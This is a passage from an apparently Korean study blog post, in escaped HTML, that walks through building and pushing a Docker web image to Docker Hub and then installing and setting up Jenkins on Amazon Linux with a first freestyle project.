    echo &quot;$NICK Web Server $VERSION&amp;lt;br&amp;gt;&quot; &amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    figlet AEWS Study &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;/pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html
EXPOSE 80
CMD [&quot;usr/sbin/apache2ctl&quot;, &quot;-DFOREGROUND&quot;]

# 이미지 빌드
cat Dockerfile
docker build -t myweb:v1.0.0 .
docker images
docker image history myweb:v1.0.0
docker image inspect myweb:v1.0.0 | jq

# 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v1.0.0
docker ps
curl localhost

# 웹 접속 확인
curl -s ipinfo.io/ip | awk '{ print &quot;myweb = http://&quot;$1&quot;&quot; }'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 3.44.37.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wx5BV/btsGFoyaRFK/UWV0mqDl3l59vljWsSrg4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wx5BV/btsGFoyaRFK/UWV0mqDl3l59vljWsSrg4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wx5BV/btsGFoyaRFK/UWV0mqDl3l59vljWsSrg4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwx5BV%2FbtsGFoyaRFK%2FUWV0mqDl3l59vljWsSrg4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;136&quot; data-filename=&quot;스크린샷 2024-04-15 오후 3.44.37.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;도커 허브 업로드&lt;/h3&gt;
&lt;pre id=&quot;code_1713183893676&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
DHUB=&amp;lt;도커 허브 계정&amp;gt;
DHUB=imxsuu
docker tag myweb:v1.0.0 $DHUB/myweb:v1.0.0
docker images

# 도커 허브 로그인
docker login
Username: &amp;lt;자신의 ID&amp;gt;
Password: &amp;lt;암호&amp;gt;
## 로그인 정보는 /[계정명]/.docker/config.json 에 저장됨. docker logout 시 삭제됨
## cat /root/.docker/config.json | jq

# push 로 이미지를 저장소에 업로드
docker push $DHUB/myweb:v1.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 3.42.34.png&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/trUla/btsGFm8c3M4/lmDUUKEVrW9aCTmnkRouEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/trUla/btsGFm8c3M4/lmDUUKEVrW9aCTmnkRouEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/trUla/btsGFm8c3M4/lmDUUKEVrW9aCTmnkRouEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtrUla%2FbtsGFm8c3M4%2FlmDUUKEVrW9aCTmnkRouEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;550&quot; data-filename=&quot;스크린샷 2024-04-15 오후 3.42.34.png&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해당 저장소 이미지 활용&lt;/h3&gt;
&lt;pre id=&quot;code_1713183917542&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너 종료
docker rm -f myweb
docker ps

# 로컬 이미지 삭제
docker rmi $DHUB/myweb:v1.0.0
docker images

# 
docker run -d -p 80:80 --rm --name myweb $DHUB/myweb:v1.0.0
docker iamges

# 확인
docker ps
curl localhost
curl -s ipinfo.io/ip | awk '{ print &quot;myweb = http://&quot;$1&quot;&quot; }'

# 삭제
docker rm -f myweb&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Jenkins&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;소개&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소프트웨어 개발 프로세스의 다양한 단계를 자동화하는 도구로서 중앙 소스 코드 리포지터리에서 최신 코드 가져오기, 소스 코드 컴파일, 단위 테스트 실행, 산출물을 다양한 유형으로 패키징, 산출물을 여러 종류의 환경으로 배포하기 등의 기능을 제공합니다.&lt;/li&gt;
&lt;li&gt;젠킨스는 아파치 톰캣처럼 &lt;b&gt;서블릿 컨테이너&lt;/b&gt; 내부에서 실행되는 서버 시스템입니다. &lt;b&gt;자바&lt;/b&gt;로 작성되었으며 소프트웨어 개발과 관련된 다양한 도구를 지원합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;서블릿 컨테이너는 자바 서블릿을 실행하고 관리하는 환경을 제공하는 서버 사이드 컴포넌트입니다. 서블릿 컨테이너는 웹 애플리케이션 서버의 일부로서 동작하며, 클라이언트 요청에 따라 서블릿을 로드, 초기화, 실행하고 그 결과를 반환합니다.&lt;br /&gt;서블릿 컨테이너의 주요 역할은 다음과 같습니다:&lt;br /&gt;서블릿 생명주기 관리: 서블릿의 인스턴스를 생성하고 초기화하며, 클라이언트 요청에 따라 적절한 메서드를 호출하여 응답을 생성합니다.&lt;br /&gt;요청 처리 및 스레드 관리: 클라이언트의 HTTP 요청을 받아 해당 요청에 대응하는 서블릿을 실행합니다. 서블릿 컨테이너는 각 요청을 별도의 스레드로 처리하여 동시 다중 요청을 처리할 수 있습니다.&lt;br /&gt;세션 관리: 클라이언트의 세션을 관리하고, 세션 식별자를 통해 세션 데이터를 유지합니다.보안: 보안 기능을 제공하고, 서블릿의 실행 권한을 관리합니다.&lt;br /&gt;JSP 지원: JavaServer Pages (JSP)를 처리하고, JSP가 서블릿으로 변환되어 실행될 수 있도록 지원합니다.&lt;br /&gt;대표적인 서블릿 컨테이너로는 Apache Tomcat, Jetty, IBM WebSphere 등이 있습니다. 이러한 서블릿 컨테이너는 자바 서블릿 및 JSP를 실행하기 위한 필수적인 환경을 제공하여 웹 애플리케이션의 개발과 배포를 지원합니다.&lt;br /&gt;[출처 : ChatGPT]&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;젠킨스는 DSL Domain Specific Language (jenkins file)로 E-E 빌드 수명 주기 단계를 구축합니다.&lt;/li&gt;
&lt;li&gt;젠킨스는 &lt;b&gt;파이프라인&lt;/b&gt;이라고 부르는 &lt;b&gt;스크립트&lt;/b&gt;를 작성할 수 있는데, 이를 사용해서 각 빌드 단계마다 젠킨스가 수행할 태스크 및 하위 태스크의 순서를 정의합니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;순차적이고 종속적인 단계가 시작부터 끝까지 실행되면 최종적으로 사용자가 실행할 수 있는 빌드가 생성됩니다.&lt;/li&gt;
&lt;li&gt;만약 빌드 프로세스를 진행하는 중에 특정 단계에서 실패가 발생하며, 이 단계의 출력 결과를 사용하는 다음 단계는 실행되지 않으며 빌드 프로세스 전체가 실패합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;다양한 Plugins 연동
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Build Plugins : Maven, Ant, Gradle &amp;hellip;&lt;/li&gt;
&lt;li&gt;VCS Plugins : Git, SVN &amp;hellip;&lt;/li&gt;
&lt;li&gt;Languages Plugins : Java, Python, Node.js &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CI(지속적 제공)/CD(지속적 배포) 워크플로 예제&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;최신 코드 가져오기 : 개발을 위해 중앙 코드 레파지토리에서 로컬 시스템으로 애플리케이션의 최신 코드를 가져옵니다.&lt;/li&gt;
&lt;li&gt;단위 테스트 구현과 실행 : 코드 작성 전 단위 테스트 케이스를 먼저 작성할 수 있습니다.&lt;/li&gt;
&lt;li&gt;코드 개발 : 실패한 테스트 케이스를 성공으로 바꾸면서 코드를 개발할 수 있습니다.&lt;/li&gt;
&lt;li&gt;단위 테스트 케이스 재실행 : 단위 테스트 케이스 실행 시 통과하도록 설정할 수 있습니다.&lt;/li&gt;
&lt;li&gt;코드 푸시와 병합 : 개발 소스 코드를 중앙 레파지토리로 푸시하고, 코드를 병합할 수 있습니다.&lt;/li&gt;
&lt;li&gt;코드 병합 후 컴파일 : 변경 함수 코드가 병합되면 전체 애플리케이션이 컴파일되도록 설정할 수 있습니다.&lt;/li&gt;
&lt;li&gt;병합된 코드에서 테스트 실행 : 개별 테스트뿐만 아니라 전체 통합 테스트를 실행하여 문제가 없는지 확인할 수 있습니다.&lt;/li&gt;
&lt;li&gt;아티팩트 배포 : 애플리케이션을 빌드하고, 애플리케이션 서버의 프로덕션 환경에 배포할 수 있습니다.&lt;/li&gt;
&lt;li&gt;배포 애플리케이션의 E-E 테스트 실행 : 셀레늄(Selenium)과 같은 User Interface 자동화 도구를 통해 애플리케이션의 전체 워크플로가 정상 동작하는지 확인하는 종단간 End-to-End 테스트를 실행할 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치 및 설정&lt;/h3&gt;
&lt;pre id=&quot;code_1713184013874&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 실습 편리를 위해서 root 계정 전환
sudo su -

# Add required dependencies for the jenkins package
# https://docs.aws.amazon.com/corretto/latest/corretto-17-ug/amazon-linux-install.html
sudo yum install fontconfig java-17-amazon-corretto -y
java -version
alternatives --display java
JAVA_HOME=/usr/lib/jvm/java-17-amazon-corretto.x86_64
echo $JAVA_HOME

# 젠킨스 설치
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key
sudo yum upgrade
sudo yum install jenkins -y
sudo systemctl daemon-reload
sudo systemctl enable jenkins &amp;amp;&amp;amp; sudo systemctl start jenkins   # 다소 시간 걸림
sudo systemctl status jenkins

# 초기 암호 확인
sudo systemctl status jenkins
cat /var/lib/jenkins/secrets/initialAdminPassword

# 접속 주소 확인 
curl -s ipinfo.io/ip | awk '{ print &quot;Jenkins = http://&quot;$1&quot;:8080&quot; }'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;초기 암호 입력&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1694&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u5k9P/btsGFE8Gtvz/UcesbWwVQqfBHjCvGsQYOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u5k9P/btsGFE8Gtvz/UcesbWwVQqfBHjCvGsQYOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u5k9P/btsGFE8Gtvz/UcesbWwVQqfBHjCvGsQYOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu5k9P%2FbtsGFE8Gtvz%2FUcesbWwVQqfBHjCvGsQYOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1694&quot; height=&quot;800&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1694&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;제안 플러그인 설치&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;950&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OACcm/btsGDz8lEfC/HHieUrlciIDnbaD9ZJ5fv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OACcm/btsGDz8lEfC/HHieUrlciIDnbaD9ZJ5fv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OACcm/btsGDz8lEfC/HHieUrlciIDnbaD9ZJ5fv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOACcm%2FbtsGDz8lEfC%2FHHieUrlciIDnbaD9ZJ5fv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1652&quot; height=&quot;950&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;관리자 계정 설정 : 계정명(admin) , 암호(qwe123), 이름('자신의 닉네임')&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.23.59.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;654&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V8AO5/btsGC0yoYCP/VkHLZltvBG17JwnljbJDqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V8AO5/btsGC0yoYCP/VkHLZltvBG17JwnljbJDqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V8AO5/btsGC0yoYCP/VkHLZltvBG17JwnljbJDqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV8AO5%2FbtsGC0yoYCP%2FVkHLZltvBG17JwnljbJDqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;654&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.23.59.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;654&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;설정 완료 후 젠킨스 접속&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;item : 젠킨스에서 사용하는 작업의 최소 단위&lt;/li&gt;
&lt;li&gt;사람 : 계정 관련&lt;/li&gt;
&lt;li&gt;Jenkins 관리 : 전역 설정 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.26.11.png&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boCAVh/btsGBYuABGB/DyrkwJ8GSlumMZ4A1cMkd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boCAVh/btsGBYuABGB/DyrkwJ8GSlumMZ4A1cMkd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boCAVh/btsGBYuABGB/DyrkwJ8GSlumMZ4A1cMkd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboCAVh%2FbtsGBYuABGB%2FDyrkwJ8GSlumMZ4A1cMkd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1096&quot; height=&quot;672&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.26.11.png&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 사용 , Tools 설정 : First-Project&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Jenkins 관리 &amp;rarr; Tools 진입&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2952&quot; data-origin-height=&quot;1484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtihLa/btsGEYfCI4J/UlvmBCkCNb7woiwiLVxFc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtihLa/btsGEYfCI4J/UlvmBCkCNb7woiwiLVxFc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtihLa/btsGEYfCI4J/UlvmBCkCNb7woiwiLVxFc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtihLa%2FbtsGEYfCI4J%2FUlvmBCkCNb7woiwiLVxFc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2952&quot; height=&quot;1484&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2952&quot; data-origin-height=&quot;1484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;JDK installations : jdk-17 , /usr/lib/jvm/java-17-amazon-corretto.x86_64 &amp;rarr; Save&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.33.53.png&quot; data-origin-width=&quot;1072&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnZWVQ/btsGCWJAQt1/9jWKxaivjhin5IkXi0Z5Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnZWVQ/btsGCWJAQt1/9jWKxaivjhin5IkXi0Z5Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnZWVQ/btsGCWJAQt1/9jWKxaivjhin5IkXi0Z5Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnZWVQ%2FbtsGCWJAQt1%2F9jWKxaivjhin5IkXi0Z5Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1072&quot; height=&quot;431&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.33.53.png&quot; data-origin-width=&quot;1072&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;첫번째 Item(Project) 생성&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;새로운 Item 클릭 &amp;rarr; Name : First-Project, Freestyle project &amp;rArr; 하단 OK 클릭&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.40.23.png&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;961&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AGFUP/btsGByJFz4n/kvBL4viuunJuaO7O92fMyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AGFUP/btsGByJFz4n/kvBL4viuunJuaO7O92fMyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AGFUP/btsGByJFz4n/kvBL4viuunJuaO7O92fMyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAGFUP%2FbtsGByJFz4n%2FkvBL4viuunJuaO7O92fMyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1089&quot; height=&quot;961&quot; data-filename=&quot;스크린샷 2024-04-15 오후 5.40.23.png&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;961&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Build Steps &amp;rarr; Add build step &amp;rArr; Execute shell 클릭&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.41.43.png&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;1472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IhY1M/btsGEjxESng/1wiGozyTIx35kjdwPm23S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IhY1M/btsGEjxESng/1wiGozyTIx35kjdwPm23S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IhY1M/btsGEjxESng/1wiGozyTIx35kjdwPm23S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIhY1M%2FbtsGEjxESng%2F1wiGozyTIx35kjdwPm23S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1516&quot; height=&quot;1472&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.41.43.png&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;1472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;간단한 문장 입력 : &lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;1&quot;&gt;echo &quot;Aws Workshop Study&quot;&lt;/span&gt; &amp;rarr; 하단 Apply 후 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.42.58.png&quot; data-origin-width=&quot;1466&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FBrU9/btsGE5eMCFJ/5MQTksxFHHiQBbEbwbvy7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FBrU9/btsGE5eMCFJ/5MQTksxFHHiQBbEbwbvy7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FBrU9/btsGE5eMCFJ/5MQTksxFHHiQBbEbwbvy7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFBrU9%2FbtsGE5eMCFJ%2F5MQTksxFHHiQBbEbwbvy7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1466&quot; height=&quot;700&quot; data-filename=&quot;스크린샷 2024-04-15 오후 7.42.58.png&quot; data-origin-width=&quot;1466&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;지금 빌드&lt;/span&gt; 클릭&lt;/li&gt;
&lt;/ul&gt;
